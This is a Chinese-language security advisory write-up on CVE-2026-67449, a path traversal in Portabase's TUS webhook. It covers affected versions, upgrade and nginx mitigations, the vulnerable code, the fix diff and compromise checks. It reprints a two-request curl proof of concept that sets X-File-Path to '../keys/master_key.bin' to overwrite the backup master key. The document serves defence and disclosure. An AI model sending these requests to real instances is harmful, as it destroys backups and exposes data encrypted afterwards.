我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 97.1% 的成绩。 了解更多

深度解析

深度解析

Portabase 主密钥被覆盖,1.21.2 已修复(CVE-2026-67449)

Portabase 的 TUS Webhook 存在未认证路径穿越,可覆盖保护加密备份的 AES-256 主密钥;1.21.2 已修复。

TL;DR

  • Portabase 的 TUS Webhook 信任 X-File-Path 头,并把上传文件重命名到私有目录中的任意路径。该漏洞为 CVE-2026-67449,CVSS v3.1 9.8。
  • 自托管的 Community Edition 1.21.1 及更早版本在 /tus/files/ 或 /api/tus/hooks 可达时受影响。修复版本为 2026-07-04 发布的 1.21.2。
  • 公告包含一个两请求的概念验证,可覆盖 /data/private/keys/master_key.bin。没有已知的实际利用,截至 2026-11-12 该 CVE 不在 CISA KEV 中。
  • 升级到 1.21.2 或更高版本;最新版本为 1.36.1。如果无法升级,请在反向代理上阻止 /api/tus/hooks 和 /tus/。

我受影响吗?

只有以下条件全部成立时才受影响:

  • 您运行自托管的 Portabase Community Edition 1.21.1 或更早版本。
  • 不可信客户端可以访问该实例,并且 /tus/files/ 或 /api/tus/hooks 通过反向代理暴露。
  • 攻击者可以创建 TUS 上传并控制 X-File-Path 头。不需要账户。

默认 Docker 部署将 nginx 放在 80 端口,把 /tus/ 代理到 tusd 上传服务,并允许 tusd 调用应用上的 /api/tus/hooks。Webhook 也可通过通用的 location / 规则访问,因此只阻止 /tus/ 的代理可能仍让 Webhook 开放。公告指出,TUS 上传端点不要求认证。

产品 受影响版本 修复版本
Portabase Community Edition 1.21.1 及更早 1.21.2
Portabase Community Edition 1.21.2 及更高 不受影响

Docker Hub 镜像有 398,662 次拉取,GitHub 仓库有 1,899 个星标。受影响范围是 1.21.2 之前的自托管 Community Edition。

检查运行中容器的镜像标签。应用没有版本端点,因此请读取容器创建时使用的镜像:

docker inspect portabase --format '{{.Config.Image}}'
docker compose images | grep -i portabase

如果标签是 latest,请将运行中容器的 digest 与您打算运行的版本的 digest 比较。第一条命令读取运行中的 digest;后两条命令拉取该版本并读取其 digest:

docker inspect portabase --format '{{index .RepoDigests 0}}'
docker pull portabase/portabase:1.36.1
docker image inspect portabase/portabase:1.36.1 --format '{{index .RepoDigests 0}}'

当前版本是 2026-11-10 发布的 1.36.1。1.21.2 及之后的任何标签都包含修复。

如何修复?

升级到 Portabase 1.21.2 或更高版本,并重新创建容器。如果运行中的容器仍使用旧镜像,仅拉取新镜像是不够的。

  1. 拉取修复后的镜像并重新创建服务: bash docker compose pull docker compose up -d
  2. 确认运行中的容器使用新镜像: bash docker inspect portabase --format '{{.Config.Image}}'
  3. 如果固定版本,请使用 1.21.2 或更高标签。最新版本是 1.36.1。
  4. 如果从源码构建,请使用提交 8dcb4067 或 1.21.2 标签。修复位于 pull request #355。

如果无法立即升级,请在反向代理上阻止上传路径。公告建议对不可信网络拒绝访问 /api/tus/hooks 和 /tus/。这会关闭远程攻击者的路径,但也会停止合法的代理上传,因此请安排升级。

  1. 在 nginx 中,在通用 location 之前拒绝 Webhook: nginx location = /api/tus/hooks { deny all; return 404; }
  2. 将 /tus/ 限制为运行备份代理的网络,或将其从公共监听器中移除。
  3. 重新加载代理,并确认来自不可信网络的 Webhook 返回 404。

阻止 Webhook 是临时缓解措施,不是修复。通过其他路径到达应用的请求仍可利用路径穿越。

根本原因是什么?

TUS Webhook 从 HTTP 头中获取文件路径,并在不检查 .. 的情况下将其拼接到上传目录。path.join() 会规范化路径穿越,因此结果路径可以离开上传目录并到达主密钥。

漏洞代码位于 1.21.1 标签的 app/api/tus/hooks/route.ts。以下是相关行:

const filePath = headers["X-File-Path"]?.[0];

if (!filePath) {
    return NextResponse.json({error: "Missing X-File-Path"}, {status: 500});
}

const uploadDir = path.join(env.PRIVATE_PATH!, "/uploads/");

const oldFilePath = path.join(uploadDir, "tmp", id);
const newFilePath = path.join(uploadDir, filePath);

fs.mkdirSync(path.dirname(newFilePath), {recursive: true});
...
fs.renameSync(oldFilePath, newFilePath);

容器中的 PRIVATE_PATH 默认为 /data/private。上传目录是 /data/private/uploads/,上传的临时文件是 /data/private/uploads/tmp/<id>。头值 ../keys/master_key.bin 使 newFilePath 解析为 /data/private/uploads/../keys/master_key.bin,即 /data/private/keys/master_key.bin。fs.mkdirSync() 会在需要时创建父目录,fs.renameSync() 会原子地替换目标。

主密钥是存储在 keys/master_key.bin 中的 32 字节随机值,权限为 0600。Portabase 用它进行备份数据的 AES-256-GCM 加密。同一文件由 src/utils/rsa-keys.ts 中的 getOrCreateMasterKey() 创建,Webhook 的目标也是同一路径。

头由攻击者控制,因为 tusd 会把请求头转发给 Webhook。上传端点不要求认证,因此未认证客户端可以开始上传并在 X-File-Path 中设置路径穿越。Webhook 信任该头,因为它期望 tusd 发送代理选择的路径。

如何被利用?

  1. 攻击者创建带有路径穿越的 TUS 上传,X-File-Path 指向目标。上传服务返回新上传的位置。
  2. 攻击者向该位置上传 32 字节。上传完成后,tusd 用原始头调用 Webhook。
  3. Webhook 将 ../keys/master_key.bin 拼接到上传目录,必要时创建 keys 目录,并把临时上传重命名覆盖主密钥。
  4. 攻击者现在控制密钥材料。用旧密钥加密的现有备份无法解密。覆盖后加密的数据对知道新密钥的人可读。

公告发布了一个两请求的概念验证。以下是从公告复制的请求序列:

# Step 1: create the upload
curl -X POST http://<host>/tus/files/ \
  -H "Tus-Resumable: 1.0.0" \
  -H "Upload-Length: 32" \
  -H "X-File-Path: ../keys/master_key.bin" \
  -H "X-Status: success"

# Step 2: upload the attacker-controlled key material
curl -X PATCH http://<host>/tus/files/<id> \
  -H "Tus-Resumable: 1.0.0" \
  -H "Content-Type: application/offset+octet-stream" \
  -H "Upload-Offset: 0" \
  -H "X-File-Path: ../keys/master_key.bin" \
  -H "X-Status: success" \
  -d "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

公告示例使用 32 个 A 字节。真实攻击者会选择自己知道的密钥。公告没有发布受害者报告或实际利用。

攻击如何展开?

未认证的上传请求在头中携带路径穿越,Webhook 在不检查路径指向的情况下把上传文件重命名覆盖 AES 主密钥。

flowchart LR
    A["POST /tus/files/<br/>X-File-Path: ../keys/master_key.bin"] --> B["tusd 保存上传<br/>private/uploads/tmp"]
    B --> C["tusd 调用<br/>/api/tus/hooks"]
    C --> D["path.join(uploadDir, filePath)<br/>不检查路径穿越"]
    D --> E["fs.renameSync()<br/>覆盖 master_key.bin"]
    E --> F["旧备份无法解密<br/>新密钥被攻击者掌握"]

攻击者能做什么?

未认证攻击者可以覆盖 Portabase 进程在私有目录中可写的任何文件。最危险的目标是 AES-256-GCM 主密钥。覆盖它会使所有用旧密钥加密的备份永久不可读,这是对恢复能力的破坏性拒绝服务。

如果攻击者写入自己知道的密钥,他们还可以读取覆盖后加密的数据。这包括新备份以及 Portabase 用同一密钥加密的任何其他数据。公告描述了两种结果:现有备份的破坏性丢失,以及用攻击者已知密钥加密的数据泄露。

CVE 记录将该漏洞评为 CVSS v3.1 9.8,CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H。

攻击者需要网络可达,不需要账户。路径固定在源码中,因此攻击者不需要发现私有目录结构。唯一前提是 TUS 上传或 Webhook 可达。

为什么修复有效?

补丁增加了三层。第一,将头限制为严格的路径模式。第二,验证解析后的路径仍在上传目录内。第三,将 Webhook 调用绑定到现有备份记录,并在 nginx 边缘阻止 Webhook。

+const FILE_PATH_RE = /^backups\/\d{4}-\d{2}-\d{2}\/[A-Za-z0-9._-]+$/;
...
-                const fileName = headers["X-File-Name"]?.[0];
                 const filePath = headers["X-File-Path"]?.[0];

-                if (!filePath) {
-                    return NextResponse.json({error: "Missing X-File-Path"}, {status: 500});
+                if (!filePath || !FILE_PATH_RE.test(filePath)) {
+                    log.warn({filePath}, "Rejected invalid X-File-Path in TUS hook");
+                    return NextResponse.json({error: "Invalid file path"}, {status: 400});
                 }
+
+                const generatedId = headers["X-Generated-Id"]?.[0];
+                const backupStorageId = headers["X-Backup-Storage-Id"]?.[0];
...
+                const resolvedBase = path.resolve(uploadDir);
+                const newFilePath = path.resolve(resolvedBase, filePath);
+                const rel = path.relative(resolvedBase, newFilePath);
+                if (rel.startsWith("..") || path.isAbsolute(rel)) {
+                    log.warn({filePath}, "Rejected path traversal in TUS hook");
+                    return NextResponse.json({error: "Invalid file path"}, {status: 400});
+                }

正则表达式只接受 backups/YYYY-MM-DD/<filename>,字符集有限,因此 ../keys/master_key.bin 在任何文件系统调用之前被拒绝。path.resolve() 和 path.relative() 检查随后捕获任何逃出上传目录的路径,即使以后模式被修改。

授权块要求 X-Generated-Id 和 X-Backup-Storage-Id 与数据库和备份存储记录匹配,因此伪造的 Webhook 调用会被拒绝。nginx 规则从公共边缘拒绝 /api/tus/hooks。

补丁覆盖了 Webhook 中的路径穿越。公告还指出,内部 tusd Webhook 现在只能通过 loopback 访问,从而移除了概念验证使用的外部路径。

如何检查是否已遭入侵?

没有公开的入侵指标。覆盖会修改主密钥文件,因此如果有正常副本,请与之比较。

检查文件大小和修改时间:

docker exec <container> ls -l /data/private/keys/master_key.bin
docker exec <container> stat /data/private/keys/master_key.bin

文件应为 32 字节,修改时间应与安装或最后一次主动轮换一致。如果您没有轮换过该文件,但修改时间是最近的,这是一条线索。

将密钥哈希与密钥备份比较:

docker exec <container> sha256sum /data/private/keys/master_key.bin

在私有目录中查找意外文件,尤其是密钥旁边的 .meta 文件:

docker exec <container> find /data/private -maxdepth 3 -type f -newermt "2026-07-04"

备份恢复失败是另一个信号。如果怀疑覆盖之前创建的备份不再能解密,密钥可能已被替换。在重启或重建之前保留容器和私有目录,因为重启可能覆盖证据。

时间线

  • 2026-07-04:Portabase 发布公告 GHSA-7697-vf3j-253j 和包含修复的 1.21.2。
  • 2026-07-29:预留 CVE ID。
  • 2026-11-11:CVE-2026-67449 记录发布,距修复四个月。

从修复到 CVE 发布共 130 天。
修复于 2026-07-04 发布,CVE ID 于 2026-07-29 预留,记录于 2026-11-11 发布。来源:GitHub 公告和 CVE 记录,2026 年 11 月 12 日检查

常见问题

所有 Portabase 安装都受影响吗?

不是。公告涵盖 1.21.1 及更早的自托管 Community Edition。1.21.2 或更高版本的安装已修复。不可信客户端无法访问的实例不会通过此路径暴露。

TUS 端点应该是公开的吗?

默认部署通过 nginx 暴露 /tus/,并且不认证上传。修复在代理处阻止内部 Webhook,并将 Webhook 调用绑定到备份记录。如果您将 Portabase 暴露到互联网,请检查两条路径。

攻击者能读取我的现有备份吗?

覆盖密钥会使现有备份不可读,但不会解密它们。如果攻击者写入自己知道的密钥,他们可以读取覆盖后加密的数据。公告描述了破坏性和泄露两种结果。

有公开利用吗?

公告包含一个两请求的概念验证。没有公开的实际利用或受害者报告,截至 2026-11-12 该 CVE 不在 CISA KEV 中。

如果我已经运行更高版本呢?

检查运行中容器的镜像标签,而不是 compose 文件中的标签。升级前创建的容器可能继续运行旧镜像,直到被重新创建。1.21.2 及之后的任何标签都包含修复。

阻止 /tus/ 会破坏备份吗?

如果您的备份代理通过该路径上传,会破坏。仅阻止 /api/tus/hooks 会从公共边缘关闭 Webhook,但应用可能仍通过其他路径可达。请尽快升级。

参考文献

  • Portabase 公告 GHSA-7697-vf3j-253j,2026-07-04 发布:https://github.com/Portabase/portabase/security/advisories/GHSA-7697-vf3j-253j(2026 年 11 月 12 日检查)
  • CVE-2026-67449 记录,GitHub CNA,2026-11-11 发布:https://www.cve.org/CVERecord?id=CVE-2026-67449(2026 年 11 月 12 日检查)
  • 修复提交 8dcb4067,pull request #355:https://github.com/Portabase/portabase/commit/8dcb406790728fbdbf758ec88bf000af79498fc1(2026 年 11 月 12 日检查)
  • Portabase 1.21.2 发布:https://github.com/Portabase/portabase/releases/tag/1.21.2(2026 年 11 月 12 日检查)
  • Portabase 仓库和当前版本 1.36.1:https://github.com/Portabase/portabase(2026 年 11 月 12 日检查)
  • Docker Hub,portabase/portabase 拉取次数:https://hub.docker.com/r/portabase/portabase(2026 年 11 月 12 日检查)